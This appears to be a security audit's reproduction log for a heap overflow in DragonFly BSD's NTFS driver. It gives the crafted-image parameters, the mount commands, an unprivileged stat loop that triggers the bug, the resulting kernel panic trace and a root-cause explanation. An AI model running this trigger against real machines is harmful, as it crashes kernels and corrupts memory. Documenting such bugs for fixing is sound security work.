DF-0785 / run.log
DF-0785 โ UNFIXED live reproduction (#0 GENERIC, INVARIANTS ON)
================================================================
Guest: DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC), the unpatched audit base.
Image: ntfs_evil.img โ crafted NTFS, root $INDEX_ROOT with ir_size=256
(allocation length) and va_datalen=896 (copy length) => 640-byte heap overflow.
Setup (root, one-time; mount is SYSCAP_RESTRICTEDROOT, trigger is unprivileged):
kldload ntfs
vnconfig -c vn0 /root/ntfs_evil.img
mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt
Trigger (as uid 1001 maxx โ any non-"." non-".." name lookup reaches
ntfs_ntlookupfile -> the buggy kmalloc(blsize)+ntfs_readattr(rdsize)):
for i in $(seq 1 150); do stat /mnt/r$i >/dev/null 2>&1; done
for i in $(seq 1 100); do ( true ); done
ls -la /mnt >/dev/null 2>&1
Result: guest DOWN. Serial boot log (dfbsd-qemu/boot.log) shows:
vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_free at /usr/src/sys/kern/kern_slaballoc.c:1675
cpuid = 4
Trace beginning at frame 0xfffff8008975f950
chunk_mark_free() at chunk_mark_free+0x99 0xffffffff80655da9
chunk_mark_free() at chunk_mark_free+0x99 0xffffffff80655da9
slab_cleanup() at slab_cleanup+0xbb 0xffffffff8065662b
slotimer_callback() at slotimer_callback+0x11 0xffffffff80687d81
softclock_handler() at softclock_handler+0x1b8 0xffffffff80688438
Debugger("panic")
CPU4 stopping CPUs: 0x0000002f
stopped
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
Mechanism: each name lookup ran ntfs_ntlookupfile which executed
rdbuf = kmalloc(blsize=256, M_TEMP, M_WAITOK); // ntfs_subr.c:888
ntfs_readattr(... rdsize=896 ... rdbuf); // ntfs_subr.c:890-891
writing 896 attacker-controlled bytes (0x41434244 pattern) into the 256-byte
slab object -> 640-byte heap overflow corrupting neighbouring slab chunks,
including free chunks' c_Next free-list pointers. The periodic slab cleanup
timer (slotimer_callback -> slab_cleanup -> chunk_mark_free) later walked the
corrupted free list and tripped the INVARIANTS zone-alignment assertion.
ntfs was the only heap-corruption source active at the time; the corrupted
c_Next carried the overflow's 0x41434244 pattern. Attribution: DF-0785.
A lighter trigger (a single `stat /mnt/x`) returns ENOENT and leaves the guest
up: the overflow writes silently on GENERIC (DragonFly slab tracks allocation
state in a zone bitmap, kern_slaballoc.c:1654-1683, and has no content
canary/redzone verification -- `use_weird_array` only poisons freed chunks, it
never verifies them on realloc). The corruption therefore only becomes a
panic once slab churn walks the corrupted free list (the slab_cleanup timer or
further allocation pressure). Both outcomes -- silent corruption and panic --
are this bug.
Deterministic extent proof (no slab luck required): harness.c transcribes the
exact kmalloc(blsize)+ntfs_readattr(rdsize) copy with a guard-paged allocator
and faults byte-exactly at the overflow (exit 139 / SIGSEGV), see
harness_run.log and harness_compare.log.